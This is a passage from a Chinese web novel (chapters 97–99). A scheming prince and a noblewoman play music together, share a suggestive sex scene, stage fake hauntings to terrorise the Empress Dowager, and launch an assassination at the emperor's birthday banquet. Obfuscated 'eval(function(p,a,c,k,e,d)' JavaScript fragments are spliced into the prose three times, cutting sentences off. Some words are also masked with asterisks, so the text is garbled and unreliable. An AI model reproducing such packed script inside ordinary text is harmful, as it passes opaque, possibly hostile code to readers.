元韫浓看了看脸色铁青的裴令仪,转向了沈川,“沈大哥是想带我一人去西洲玩吗?” “嗯,对啊。”沈川笑得如沐春风,“西洲好风光,借此机会办公去,我也好和韫浓同游。” 裴令仪的脸色已经不能用难看来表述了。 他气得胸闷气促,沈川就在他面前堂而皇之地单独邀请元韫浓共游西洲了? 这跟贴脸挑衅有什么区别? 元韫浓对着沈川笑了笑,“沈大哥,如今我实在是没有心思去西洲,没做完的事情太多了。如今风云变化太快,还是等太平些了,再同去吧。” 沈川看起来有些遗憾,“也好,如今确实不太平。” 随即他便扬起了笑,“那我便去了西洲再与你通信,讲述西洲美景。回来时候,再替你寻些西洲的物件首饰来。” “好。”元韫浓笑吟吟地点头。 裴令仪是半点都听不下去了,“既然大理寺寺丞如此忙碌,还是赶紧忙去吧。” 他阴沉道:“别人家的家事,寺丞少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两侧歌姬一个素手拨弄箜篌,一个弹奏琵琶,乐声糟糟切切,外头的雨水坠入金明池,也同着乐声一般,大珠小珠落玉盘。 清越嗓音响起:“春江花月夜,好景应常在——” 这场景可真是惬意。 元韫浓饶有兴趣地听了两句。 裴令仪将剔了刺的鱼换到元韫浓眼前,“我剔了刺,阿姊尽管放心吃。” 清蒸鲈鱼卧在碧色荷叶间,缀着嫩黄姜丝与嫣红枸杞,金齑玉脍在琉璃碗中泛着冷光。 裴令仪又体贴地替元韫浓斟了酒,白玉盏里琼浆摇曳着琥珀光,樱桃如醉人的流霞,酿成的新酒色泽如花。 元韫浓慢慢品尝樱桃酒,韵味无穷。 “樱桃颗颗醉流霞,酿得新醅色似花。夏日闲庭风细细,小酌慢品韵无涯。”她晃了晃酒杯。 “阿姊想要开窗听雨吗?”裴令仪问。 “他们还在奏乐呢,怎么听得见?先开了窗透透风吧,等到他们奏完了这一曲,再细细听着金明池夜雨。”元韫浓懒散道。 裴令仪亲自去推开了窗,在夏日闲趣中,微风细细。 他坐会元韫浓身边,状似不经意般提起:“昔日在画舫上,与僚属议事,孙鹃纨说要开窗透透风,一开窗便看见阿姊和慕湖舟站在一块。” 裴令仪不提这个,元韫浓还真没想起来这码事。 她记得那会她好像也隔窗看见了正和幕僚议事的裴令仪,还有身边不甚相熟的孙鹃纨。 “嗯,我也记得。那时候鹃纨也站在那,我对她甚是好奇。”元韫浓点头。 “对她好奇?我身边多出这么个来历不明的女子,阿姊就不曾有半点吃味吗?”裴令仪闷声问道。 元韫浓古怪地看了裴令仪一眼,“我们一块赏了多少回金明池夜雨,这点事情也要吃味?” 裴令仪最近是不是有点太腻歪了? “慕湖舟还好,我更恼的是沈川。”裴令仪低着眼睛,语调都是耷拉着的。 因为沈川跟元韫浓是真做过夫妻。 每每想起这件事情,他都嫉妒得发狂。 元韫浓觉得多少有些好笑了,“是吗?” 她抿了一口酒,“这回他向父亲求娶我,我都没答应。” 裴令仪依旧闷闷不乐。 “行了。”元韫浓挠了挠他的下巴,像是逗弄一只小狗。 然后元韫浓就不理他了,注意力放在了伶人身上。 音律是裴令仪更喜欢,但这会是元韫浓在欣赏,裴令仪光全神贯注盯着元韫浓了。 第97章 他到过你这里吗 元韫浓撑着下巴,欣赏乐曲,喝点樱桃酒,吃点近水楼台的佳肴。 裴令仪自己没吃多少,基本上都在侍奉元韫浓。 乐声渐歇时,沉香袅袅漫过杯盘狼藉,余韵在雕梁画栋间萦绕不去。 “不错。”元韫浓满意地点了点头。 裴令仪见元韫浓露出了笑颜,便道:“一会去找裴九领赏。” 伶人们顿时欣悦地道谢之后,行礼退下了。 在乐者们准备抱着乐器离开时,裴令仪突然喊住了她们,“等会。” 她们一愣,顿时提了一口气,生怕方才有什么演得不周到的地方,这会被问责。 这位清河王在传闻里,可是可怕得很呢。 裴令仪道:“把琵琶留下。” “啊?”弹琵琶的乐者一愣。 “哎呀。”她身边的乐者轻轻拉了她一把,“还不快留下琵琶。” “是。”乐者放下了琵琶,连忙和姐妹们退了出去。 元韫浓好整以暇,“怎么?留了琵琶,要为我奏一曲?” “我记得前世,见过阿姊同沈川琴瑟和鸣。阿姊弹琴,沈川弹瑟,合奏一曲《凤求凰》。”裴令仪轻声道,“那时艳惊四座,京华之人纷纷艳羡,感慨一声佳偶天成。” 元韫浓一言难尽。 沈川是给裴令仪留下了多大的阴影? 裴令仪道:“我见过,我见过那时候的阿姊和沈川。《凤求凰》结束了,阿姊和沈川相视而笑。所有人都在说你们郎才女貌,世家子女联姻,又是青梅竹马的世交,多好啊。” “可我和阿姊就没有,他们也会这样说我们吗?阿姊做了皇后以后,那些人也会说帝后情深吗?”他的声音越来越轻了。 裴令仪去抱起了那一把琵琶,垂眸看着琵琶弦,“可明明我也算是和阿姊青梅竹马长大的。” “就为了我和沈川合奏过的一曲《凤求凰》?”元韫浓问。 “我虽然不擅音律,但弹奏琵琶,也还过得去。”裴令仪扣了两下弦。 像玉佩碰撞般清脆悦耳的声音。 他抬眼看向元韫浓,“阿姊可否与我合奏一曲?” 元韫浓扬眉,坐到了古琴前,“奏什么?” 裴令仪乌黑的眼睛闪过一道莹润的光亮,“《长相知》好不好?” “《长相知》?”元韫浓念了一遍。 倒是挺符合裴令仪的。 她念出了词句:“山无陵,江水为竭,冬雷震震,夏雨雪,天地合,乃敢与君绝。” “不。”裴令仪轻声道,“即使是如此,也不要分开。” 元韫浓微微一怔,低眸叩响琴弦,“弹吧。” 裴令仪不善音律这件事情元韫浓是知道的,他虽然喜欢音律,但也只是能赏得来,真论起来也没有什么天赋。 但是他说弹奏琵琶还算过得去,绝对是过谦了。 元韫浓见他右手金拨翻飞,左手转腕拢捻,奏技巧相当娴熟。 金铃玉佩相磋切。 裴令仪微垂眼睑,眼尾天然的绯色如凝血,脸色苍白,薄唇抿成冷冽的弧。 额间碎发垂落,在眉眼投下阴翳。 但他偶尔望向元韫浓,目光又化作春水。 花翻凤啸天上来,裴回满殿飞春雪。 如凤鸣般清亮高亢,又能似雪花飘落般轻柔细腻,宛如仙乐。 一曲终了,元韫浓刚将掌心覆盖上铮鸣的琴弦,一道阴影就覆盖了上来。 裴令仪抱住了她,将脸埋在她颈间,“……阿姊。” “做什么?”元韫浓掌心压住了琴弦。 “这回站在阿姊身边的,和阿姊合奏的人是我。”裴令仪轻声说道,嘴唇蹭过元韫浓的脖颈。 元韫浓有些痒,“是你。” “我很高兴,阿姊,今日于我而言,就如同梦境一般。”裴令仪带着低低的笑语,亲吻上元韫浓的唇瓣。 纠缠间被抵到了窗边,被风一吹,几滴细雨破碎在元韫浓的眼睫间。 她清醒了几分,樱桃酒的醉意还萦绕着她。 元韫浓一个激灵,手臂抵住了裴令仪的肩膀,“把窗关上!” 当初她能透过窗看到裴令仪,裴令仪也能打开窗看见她和慕湖舟,谁知道一会会不会有人也在金明池听雨呢? “阿姊放宽心。”裴令仪低笑着伸出手,关上了窗,“不会有人的,但我也不舍得阿姊吹了风受凉。” 瀑布冲击着,水珠飞溅,滑艳泛红的花瓣凝着露珠。 咀英嚼华,从窗边到琴上,从榻上到桌上,再从椅子里滚到地上。 元韫浓几次受不住,想要逃,又被裴令仪扣着手腕拉了回来。 涨得不行了,裴令仪的手掌按在元韫浓的小腹上,哑着声问:“阿姊,他到过这里吗?” “你、你……”元韫浓哪里还说得出话来,话也说不利索了,只呜咽着打颤。 许久过后,裴令仪从身后拥着元韫浓,“阿姊。” 也就元韫浓现在没力气搭理他,不然肯定扇他一巴掌。 “好了,结束了,不再来了。”裴令仪含笑支起身子。 他爱怜地亲吻了元韫浓汗湿的鬓角。 元韫浓皱了皱鼻子,在裴令仪连篇的鬼话里,总算是听到了一句真话。 裴令仪就算不再来了也不老实,在后面用手撑着脑袋,垂眸望着背对他的元韫浓。 总是有一下没一下地用手掌抚摸过元韫浓的侧腰,在腰窝摩挲。 元韫浓被这有一搭没一搭的撩拨激得时不时打个颤,一浪未平后浪起。 现在最需要平复的时候,裴令仪在这里玩这个。 元韫浓忍无可忍,回过身挥了裴令仪一巴掌。 这下裴令仪可安分下来了,安安静静地抱着元韫浓。 他还是垂眸望着元韫浓,“阿姊,如果我闭上眼睛,再睁眼会不会是一场梦?什么重生都是假的,阿姊还是很恨我,这都是假的。” 他还是患得患失。 元韫浓睁开眼睛看他,“这有什么好怀疑的?就算是南柯一梦,也算是畅快一场了。” “可是我害怕啊。”裴令仪将元韫浓抱得更紧,“像我这样的人,真的会被苍天垂怜吗?” “怕什么?”元韫浓半合着眼睛,轻轻拍了拍裴令仪的背脊,“我在呢。” 裴令仪轻轻蹭了蹭元韫浓的脖颈,“这回若是能成事,帝陵我要修葺得最是繁丽。什么佛家道家,我都要请来,替我与阿姊祈福。” 元韫浓觉得好笑,“小心云水**和灵慧大师悄悄给你下咒。” “出家人慈悲为怀,灵慧不会的。”裴令仪闭着眼睛,唇角却勾了起来。 “可是云水会啊。”元韫浓笑了出声。 裴令仪也跟着笑,笑了一会,语气归于落寞,“百年之后,同我合于一坟。” “要我说,还不如烧成灰呢,什么都别留下。”元韫浓却轻飘飘道。 裴令仪顿了顿,“那不就是挫骨扬灰了吗?” “迂腐,埋在那**枯朽很好看吗?”元韫浓斜睨他一眼,“还不如干干脆脆成灰呢。” 裴令仪听得一愣又一愣。 元韫浓说:“一半留在皇陵下葬,让后世之人知晓,你我夫妻。” “夫妻”二字让裴令仪眉眼间都染上了欣悦,元韫浓说什么,他都觉得好了。 “另一半就扬了,随风而去,游过**。”元韫浓继续道。 “嗯,那也好啊。和阿姊一块,什么都好。”裴令仪认真道。 哪怕是挫骨扬灰也很好,什么都很好。 元韫浓挑眉,“你不怕挫骨扬灰了?” “没关系的,只要有阿姊就够了。就算在皇陵什么都不留下也没事,史书必然会留有你我名姓的。”裴令仪说。 元韫浓哦了一声:“原来你还是想青史留名啊。” 裴令仪郑重道:“后人如何评说,**预不了。但我想要他们知道,你我是一起的,我想要我们的姓名并列而行。” 他抬眼望着元韫浓,乌黑的眸子盈润,像是闪烁着如同泪光般的水华。 他轻声说道:“让千生知道有个我,教万世知道有个你,共享盛名。” * 惠帝的生辰在即,礼部开始兴师动众。 “咱们陛下的寿辰,太后还是不要插手,在那指手画脚的好。”元韫浓看着宫里头来来往往的忙碌宫人们,说道。 裴令仪点头,“近来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孙鹃纨倒是兴致勃勃,“接下来我们要做什么了?” “你那些装神弄鬼的小手段可以用出来了,惠帝和太后最喜欢这些东西了。”元韫浓看向裴令仪。 裴令仪之前在废弃的宫殿之中,可没少耍这种小聪明。 宫里人对鬼神之说都相当忌讳,裴令仪还无力自保之力的时候,他就时常用这样的手段来逃避,来尽可能地保住自己。 “用鳝鱼血染红旗帜,可吸引蝙蝠,惹家犬不适而狂吠不止。捉刺猬喂下糖水,刺猬发声,类似人咳嗽。以甲鱼尿水蘸墨水后于墙面写字,便难以擦去。”裴令仪平淡道。 元韫浓说:“这些也足够了,太后亏心事做的多了去,最是信奉这些东西。” “皇帝老儿想着长生不死,也会信的。”裴令仪笑了一下。 元韫浓看向几个副将,“这事你们谁去做?” “我去!我去!”孙鹃纨对这个任务相当积极。 她最喜欢的就是这种事情了,干坏事她最喜欢了。 裴九对她的热情感到危机,“你那么积极做什么?” 难道这个任务很艰巨吗? 于是他也站出来一步:“我也可以去。” “你别去了,让萧煜跟鹃纨一起去。”元韫浓一语拍板定了下来。 裴九的心碎成了千瓣万瓣。 元韫浓都不知道裴九是怎么做到的,能够在裴令仪这样的黑莲花身边出淤泥而不染。 裴令仪能留他那么久,跟裴九的战力和领兵能力也是有点关系的。 “郡主放心,我保证将事情办妥。”孙鹃纨兴奋道。 她甚至没想着假手于他人,而是准备亲自去做。 事实证明孙鹃纨在这种事情上面也还是有点天赋的,恐吓别人这件事情上面,她做得天衣无缝。 太后一连被吓了好几日了。 先是在夜半时分,似有似无的,能听到细碎的咳嗽声。 本来是疑心哪个小宫女染了风寒在咳嗽,叫人去看,却又没有人。 紧接着蝙蝠时不时到附件徘徊,叫人驱逐捕杀了一波,又来一波。 来来**几次,整得太后精神愈发紧绷起来。 再加上宫中风言风语,太后开始疑心是招了什么邪祟。 第98章 惨死鬼 太后派人连夜去请灵慧大师来驱邪,恰逢灵慧大师闭关,但寺里说派来了一个合适的人选来为太后解忧,太后也认了。 但她仍然不放心,又派人去白云观请云水**。 还算是幸运,云水**没闭关,也愿意出关,还说会带着很有天赋的弟子一起来驱邪。 太后满意了,去请人的太后心腹对云水**眉开眼笑,极尽奉承之言。 云水**坦然接受了所有的奉承。 寺里派来的僧人来得晚了些,云水**和元云和先来了。 不得不说,太后看见云水**所谓的弟子是元云和时,脸色相当精彩。 奈何她现在有求于人,不好得罪云水**,只好咬牙认下了。 云水**一本正经地说道:“太后此劫极为凶险,是招惹了不该招惹的东西。” 太后听得一阵心惊胆战,“这邪祟是什么来头,又是什么东西?” 云水**不语,环顾了四周一圈。 太后立即明白了云水**的意思,示意周围人都下去。 侍者们纷纷退下,只剩下太后和她的心腹,还有云水**跟元云和。 “**有什么话,不妨就直说吧。”太后忙道。 “此事起因,是太后先前自己造下的恶果。太后欲追溯因果,不妨自己想想,造了什么孽。”云水**这话说得相当不客气。 太后脸色变了又变,既气云水**的毫不客气,又不好在这会发作。既想到了不少自己做的事情,又莫名开始胆寒。 原来真是冲撞了什么东西! “那**可有破解之法,能灭了此等邪祟?”太后忍着气问。 她高高在上,说一不二惯了。 尤其是惠帝即位之后,太久没有人胆敢如此在她面前说话了。 “若是说起来,还真不好说。”云水**高深莫测道,“这招惹来的东西,怨念极深,功力不浅,最重要的是,也被时运眷顾了。这一切,都是命数,云水也不能确保能够成功。” 太后闻言一惊,心焦道:“这邪祟当真是如此厉害,就连**也无法捉拿吗?” 云水**说:“是太后做得太过,这招惹来的是极具怨念的。云水也只能保证,太后至少不会现在就被撕碎。” 太后听得冷汗连连,这到底是怎么样的穷凶极恶之物,连云水**都如此忌惮。 “那就麻烦**了,哀家的性命就交由**了。”她立即说道。 当务之急,先保住小命再说。 她扯出一个看着并不高兴的假笑:“只要能解决此事,哀家可以叫皇帝再为白云观供上百年的香火。” 云水**同样扯出一个笑回应:“太后放心吧,有云水在呢。” 她和元云和就连走出慈宁宫宫门,都是被毕恭毕敬送出去的。 走出一段距离,确认过隔墙无耳,元云和才道:“不是说出家人不打诳语。” “我说的可都是真话。”云水**理直气壮,“我有一句说的是假话吗?” 太后种下了恶因,现在得到了恶果,招惹不该招惹的人,现在裴令仪和元韫浓要来报仇了。 冤有头,债有主,她保证太后这会不会被撕碎。 毕竟这会裴令仪和元韫浓还没打算那么早,就那么轻而易举地放过太后了。 元云和自然不会有异议,她微微笑了笑。 而岐国公府这里则是紧锣密鼓地准备了起来。 萧煜正研究往铜镜背面涂磷粉,镜面时不时浮现出模糊鬼影。 “这样够不够像先帝?”他调整着角度,“要不要再加点七窍流血的效果?涂点血什么的。” 孙鹃纨抛给他一包腐肉,“把这个塞进太后寝殿的熏香球里,比什么鬼影都强。” “那我呢?我能干什么?”裴九眼巴巴地看着。 孙鹃纨想了想,“你去把捉来的蝙蝠翅膀上涂荧光粉吧。” 裴九顿时兴奋起来,“我保证飞起来像鬼火,吓死她。” 萧煜看孙鹃纨积极地忙着用鱼线吊纸人,拿笔在纸人脸上写写画画,时不时嘴里发出桀桀桀的邪恶笑声。 “这种飘到窗前突然咧嘴笑,看我不吓死太后。”孙鹃纨非常满意。 萧煜又看了看元韫浓的战果,问:“这么多全部亲力亲为,都不累吗?” “累什么?这有什么累的?你是不是不行啊。”孙鹃纨看着一身正气,“能为殿下和郡主分忧,有什么可累的?萧煜,你觉悟不够啊。” 萧煜面无表情地转过了头,继续摆弄铜镜。 果然,人在干坏事的时候是不会觉得累的。 “怎么样了?”元韫浓推开窗,看他们准备得如何。 “好得很,保证能够出色地完成郡主交予我的任务。”孙鹃纨立刻回道。 元韫浓满意地点了点头。 裴九暗自咬牙,真是从未见过如此会争宠之人。 “那你们继续吧,我去清都那里瞧瞧。”元韫浓道。 孙鹃纨又殷切地说:“郡主慢走啊。” 一回头看裴九和萧煜都一副一言难尽的表情,她便问:“干什么都这种表情?” 二人对她相当不齿,“你是不是郡主太殷切了?” “你们两个榆木脑袋,对自己未来主家热切点有什么错?”孙鹃纨同样不屑。 她才懒得跟这两人东扯西扯呢,到时候谁还不是得听元韫浓的。 元韫浓倚窗查看裴令仪那头成果时,裴令仪正往自己身上缠染血的纱布。 “怎么了?我们清河王也打算亲身上阵了吗?”她含笑问。 裴令仪看见元韫浓来,眼底浮现了笑意,“阿姊来了。” “像不像惨死鬼?”他侧了侧脖颈,纱布渗出鲜红的血珠,他拿元韫浓的胭脂调的。 元韫浓点头,看了眼窗边桌上那鲜红的胭脂水,动作一顿。 这颜色,看着像是…… 她半眯起眼睛,“你用的我哪一盒胭脂?” 裴令仪眨了一下眼睛,“放在镜前那一盒。” 元韫浓轻笑一声,指尖沾了鲜红的胭脂水,“还能再像些……” 她往裴令仪颈侧抹了把冰凉的胭脂水,指尖滑过,胭脂封喉。 裴令仪垂眸看着元韫浓,喉结滚动了一下。 元韫浓突然掐住他咽喉,“**就该有**的样子。” “你知不知道,你用的这盒胭脂戴春林已经不制了?”元韫浓晃了晃他。 “我赔阿姊,我赔,我赔给阿姊……”裴令仪连声道,“我想法子让他们再制!” 元韫浓冷哼一声:“你最好能让他们制出来,不然我就让你真成惨死鬼。” 惹元韫浓生气了,裴令仪不敢再说话,只得点头。 太后本以为云水**来了,至少那邪祟能收敛一二,没想到反而是更加猖狂了。 元云和送了几面红旗来,还牵过来一只大黄狗,太后满腹疑虑。 “太后若是不愿意信我和云水**,那我便走了。”元云和作势要收起旗帜。 “等等!”太后咬了咬牙,还是信了。 她身边的心腹忙去接了旗帜,按照元云和所说的,环绕慈宁宫一圈,都挂了旗子。 元云和把大黄的狗绳也递了过去,“万物皆有灵,这黄狗是白云观散养着的,嗅觉敏锐,闻到什么不对的,都会叫。” 太后问:“这么说来,只要有什么异动,它都会狂吠不止来提示了?” “可以那么以为。”元云和微笑。 太后却觉得更瘆人了。 元云和道:“所以将大黄借与太后娘娘的这段时日里,太后得好好照顾它,它才能尽心尽力。” 太后叫人牵过狗绳,看大黄目光热切,“既然是白云观上的,那必然也是极有灵气的。这段时日里,哀家必不会亏待了它的。” “那最好了,便祝太后能成功过此劫数了。”元云和笑意不变,退了下去。 起先太后还过了几日的安生日子,她还在想云水**果然道行不浅,才稍稍松了口气。 只是大黄依然时不时吠叫,不过因为无事发生,太后便觉得这是那邪祟撞见了大黄这种灵犬,被吓走了。 好不容易能睡个安稳觉的日子里,那种幽幽的咳嗽声又响起来了。 太后甚至闻到了一股幽幽的腐臭味。 “快去!快!必然是有人装神弄鬼!哀家就不信今日查不出来这等兴风作浪之人!”太后怒气冲天。 几个宫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们颤颤巍巍地转头,哭丧着脸道:“太后娘娘,这些字擦不掉啊……” “怎么可能擦不掉!”太后又惊又怒。 但她看向那些字迹,确实没有被擦掉,就如同她犯下的罪孽一样。 不可能……这不可能…… 一个宫人慌慌张张地冲了进来,“太后娘娘,镇国寺来人了!” “快去请进来!”太后死死地盯着那一行字。 一定是云水**无能,一定是的!还是镇国寺好,还是灵慧大师靠得住! 殿门缓缓打开,“吱呀”一声,一缕猩红袈裟自缝隙间出现了。 太后手中的佛珠“啪”地断了线,檀木珠子滚落满地。 她瞳孔骤缩,死死盯着逆光而立的身影。 晃动的烛火下,那个人身后的蝙蝠怪叫着扑飞。 “二、二殿下……?”掌事嬷嬷的声音尖得变了调。 慕易遥抬脚踏入殿内,腕间佛珠相撞,发出清脆的响声。 他每走一步,太后便往后缩一寸。 “皇祖母。”慕易遥轻笑,声音瘆人,“易遥听闻您凤体违和,特来诵经祈福。” 殿外一道诡异的光劈过,刹那间将慈宁宫内照得透亮。 慕易遥不见了,在那的是另外一个人影。 那人垂眸立在烛火幽微处,浸着寒潭般森冷的水汽。 睫毛如同冬日里冻僵的蝶翼,当他抬起脸时,长睫在他眼下投出两弯青灰阴影。 乌润的眸子仿佛蒙着层薄雾,泛着诡谲的冷光。 “太后娘娘……”他的声音清冽得瘆人。 太后喉间发出“咯咯”异响,精心保养的指甲掐进掌心。 这是裴令仪……还是曾经的清河王? “你……你是人是鬼?!”她终于尖叫出声,打翻了案上那盏灯。 灯油泼洒,火苗“轰”地窜上垂帘。 火光中,那个人慢慢俯下身。 “臣吗?”浓重的血腥气扑面而来,裴令仪微笑,“自然是太后一手造就出来的……” 他轻声道:“恶鬼啊。” 第99章 一曲广陵散 青砖地上,碎了一地的佛珠还在打转。 “妖孽!”太后一面后退,一面大喊,“来人!给哀家拿下这——” “嘘。”裴令仪轻声道,“您听,听见了吗?” 隐约传来诵经声,却是往生咒的调子。 殿门再次吱呀轻启,元韫浓执灯而立于门外。 身后沾了血的纸人摇摇晃晃。 太后尖叫一声,一个劲地往后退。 又是一道诡异的白光晃过,照亮了元韫浓手中摇晃的半枚带血虎符,随着晃动在墙上投出张牙舞爪的影。 “娘娘怕什么?难道醉了什么亏心事吗?”元韫浓轻笑,“他可是特地为您……” 她突然掐灭灯芯,“从阎罗殿里爬回来的。” 一切归于黑暗,太后哑着声喊:“来人!来人!” 没有人敢动,也没有人敢应。 微弱的烛光再度晃晃悠悠地燃了起来,哪里有什么裴令仪?哪里有什么元韫浓? 刚刚的一切都好像是幻觉一般,站在殿中的只有慕易遥。 太后蜷在榻上的角落,死死盯着殿中那袭猩红的袈裟。 慕易遥此刻正捻着染血的菩提串,冲她状似慈悲一笑。 “皇祖母,易遥来给您驱邪了。”他说道 “滚!滚出去!”太后激烈地将被褥枕头全部都摔了出去,歇斯底里地吼叫着。 慕易遥淡定地后退了一步,“皇祖母既然不愿意见人,那还是叫太医来看看吧。” 太后为此病倒了,精神都有些恍惚。 太医来回看了好几次,看不出什么结果来,只能说是惊吓过度。 惠帝也不太高兴去探病,但也还是勉为其难地从丹药堆里爬起来,去看了太后。 太医看了看躺在床上虚弱的太后,再看看眼底乌青一片的惠帝,只觉得天要亡我南朝。 惠帝问:“母后怎么样了?” “惊伤心神,神不守舍。惊气内薄,痰浊内生,蒙蔽清窍。微臣已经拟下方子,叫人去抓药了。”太医回道。 “这么说来是惊吓过度了,母后成日里在慈宁宫里颐养天年,怎么会受惊呢?”惠帝感到了古怪。 太后身边的宫女小声哭泣了起来:“陛下,是不知何人要害太后,下了什么脏东西,才叫太后如此啊。” “胡说,朗朗乾坤,大内之中,怎么可能有什么脏东西!”惠帝不悦道。 他一早就听底下人禀报,说什么是鬼神之说,太后又请镇国寺又请白云观的,弄得是兴师动众。 惠帝觉得,太后这就是在他求仙问道的长生之路上添上阻碍。 这种污秽邪祟之事,难道不是妨碍他吗? 而且这回从镇国寺来替太后驱邪的正是他的二皇子慕易遥,当初慕易遥也是因为太后才出家的。 惠帝对这个孩子还是有点感情在的,想到这里就对太后愈发不满了。 再加上先前慕易遥已经向他请过安,给他上过眼药了,惠帝就更觉得太后是在阻碍他。 宫女哭丧着脸道:“是真的,宫墙之上还留着那印记呢,如今还擦不去,工部已经打算喊人将那面墙拆了重建了。奴婢带陛下去瞧一瞧,陛下就知道了。” 惠帝沉着脸跟宫女走到那面墙前,宫墙上边张牙舞爪的几个字映入眼帘。 分明是墨水所书,但却仿佛如同是血水所书一样。 弑亲者永堕无间。 惠帝看着这七个大字僵立在原地。 他慌忙转过身,一面往嘴里塞丹药,一面道:“这必然是什么宵小所为,待朕派金吾卫查清楚,便真相大白了!” “陛下!”宫女也没想到惠帝突然间就背过身走了,连忙小跑着追上惠帝。 “你去告诉母后,此事便叫她放宽心即可,并非是什么鬼神之事,只不过有人蓄意谋害罢了。”惠帝像是在安慰自己一样越说越大声。 宫女站在原处愣愣地看着惠帝大步流星地走了出去,离开慈宁宫。 但惠帝也只是下令叫金吾卫去查,甚至也没让刑部或大理寺去管,此事自然不了了之。 太后一直病到了惠帝寿辰当日,也没有精力再去插手万寿节事宜。 太后党派之人因为太后病倒了,对于万寿节之事没有太费心思。 这倒是方便了裴令仪和元韫浓的布置。 惠帝对于自己的生辰还是相当的积极,他很享受这种万众瞩目的时候。 但令他不高兴的是,太后居然撑着病体前来赴宴了。 满室珠光,祥烟缭绕,青玉栏杆间垂挂着七色云锦,随风翻涌如流霞漫卷,将殿前的蟠龙柱映得金红交错。 有内侍捧着鎏金冰鉴入殿,寒气裹胁着美酒的清冽漫开。 满殿的玉箸金杯、金樽银盘,浮光掠影。 原本正是好好享受的时候,偏偏太后过来了,文武百官都起身行礼。 惠帝也只能起身做做样子,“母后身体不适,怎么还不顾惜自己的身子,来替朕庆生呢?” 太后皮笑肉不笑,“皇帝的寿辰每年也就这么一回,哀家这个做母后的,自然也不能错过了。” “母后还是身体为重啊。”皇帝劝道。 “不过是小病而已,太医院开了方子,几贴下去就好多了,不碍事。”太后回道。 两个人都不带一丝真情实意,来回推拉了几句,入了座。 惠帝的兴致显然没有刚才高了,“继续吧。” 接着奏乐,接着舞。 鎏金兽首灯将殿内映得恍若白昼,青玉酒盏与琉璃觥在席间碰撞出细碎声响,酒液晃碎烛火,倒映着满殿朱紫华服的衣袂。 丝竹声里,侍者托着雕漆食盒穿梭如蝶,珍馐美馔层层叠上青玉案。群臣执盏起身祝酒,醉意朦胧的笑声与琵琶弦音搅作一团。 鼓点骤响,葡萄美酒夜光杯,舞姬旋身而舞,广袖掠过处,撒落满地金箔,与烛火交相辉映。 优美是优美,雅致是雅致,但惠帝总觉得差了点意思。 此时元韫浓却站了出来,笑道:“阿舅寿辰,朝荣无物可赠,便只能送上一曲,以表心意。” 她今日刻意穿了惠贞长公主最爱穿的样式,浅红色上衫与蔚蓝色留仙裙撞色,鲜丽而明亮。 腰上红蓝色间隔错开的小绶点犹如点睛之笔,流光华彩。 惠帝看向元韫浓的目光有片刻的恍惚。 元韫浓身着惠贞长公主故衣,也有几分相似。 “朝荣为陛下献上一曲《夕阳箫鼓》,来趁此景。”她笑道。 “好,你去吧。”惠帝点头。 元韫浓抱琴坐下,裴令仪却起身道:“光有琴音有什么意思?不若由我来为郡主合奏?” 其实计划里裴令仪根本就不用弹奏,现在起来,元韫浓知道他只是想要让所有人看到他们合奏而已。 前世元韫浓跟沈川一道在众人面前琴瑟和鸣,如今他也要得众人一句鸾凤和鸣。 果然众人皆惊异不已。 早听闻裴令仪喜音律,不少人投机取巧时往清河王府和岐国公府送的是乐器乐谱,乃至于伶人乐者。 只是裴令仪只收了乐器和乐谱,至于人什么的,一律退回去。 后来那些人发现,送金银首饰,裴令仪也收。 只是最后都转到了元韫浓那里。 再后面他们就领悟了,还是直接送到元韫浓那里好。 不想裴令仪除了赏析,居然还会弹琵琶。 裴令仪抱了把琵琶,坐到元韫浓身边。 元韫浓斜睨他一眼,裴令仪却笑了笑。 裴令仪奏曲有种戾气,指尖扫过弦,琵琶声骤然迸发,如金铁相击,又似裂帛破空。 二人合奏似是一刚一柔,分明是旋律雅致优美、委婉如歌,富有江南情调的琵琶曲,但在裴令仪的琵琶和元韫浓的古琴下,却莫名渗透出一丝幽幽的鬼气。 慕湖舟注视着二人你唱我和的演奏,垂下眸子苦笑一声。 “韫浓妹妹弹得是真好呀。”慕水妃相比起哥哥的忧伤,情绪高多了,“乍一看起来,也和令仪很般配呢。” 慕湖舟的目光跟着元韫浓流转,他轻声说道:“是,是很般配。” “其实我本来并不希望令仪离韫浓太近的,因为他们不一样。或许这样说有些过分了,但一开始的确是云泥之别。”慕水妃同样注视着他们,轻声说道。 “一个是父母双亡的前朝血脉,孤苦无依,又什么都做不了,他的身份注定会在腥风血雨之中。” “但韫浓不一样,她是岐国公府的掌上明珠。只要她愿意,她这一生注定不会有什么风雨。她是被期待着,被喜爱着所诞生的。” “像令仪这样的孩子,他的本质容易是贫瘠的,是苍老的,是悲哀的,是痛苦的,是扭曲的。他靠近韫浓,韫浓也不会从中汲取到好的东西。” “但是韫浓高兴,那就够了。或许韫浓想要的,也只有令仪能给她吧。” 听着慕水妃混进乐曲中的声音,慕湖舟轻声重复道:“或许她想要的东西,只有别人能给她。” 原先起舞翩翩的舞姬们也相当识趣,就这乐曲舞蹈起来。 彩绸飘动,裙摆摇曳,茜纱罗裙裹着纤细腰肢,在殿内洇开一片绮丽。 有对音律敏锐之人,觉察到元韫浓指下的《夕阳箫鼓》变了调,透出三分肃杀。 弹错了?还是换了首曲子? 正在猜测他们却突觉裴令仪停下了弹奏,而周围的那一圈原本千娇百媚的舞姬骤然一个旋身,不知从何处亮出了青锋。 “有刺客!”不知道哪个人高喊一声。 一声尖叫响起,紧接着满殿朱紫公卿顿时乱作一团。 “护驾!护驾啊!” 舞姬在直逼惠帝咽喉时,剑锋稍朝着一边错开了。 匕首寒光没入惠帝肩胛的刹那,元韫浓的琴音陡然转急。 惠帝惨叫一声,歪倒在龙椅上。 这时候御前侍卫才反应过来,和刺客缠斗在一起。 金吾卫纷纷赶来,和刺客纠缠。 在一片混乱中,又有一众蒙面死士不知从何处冒了出来,加入战局之中。 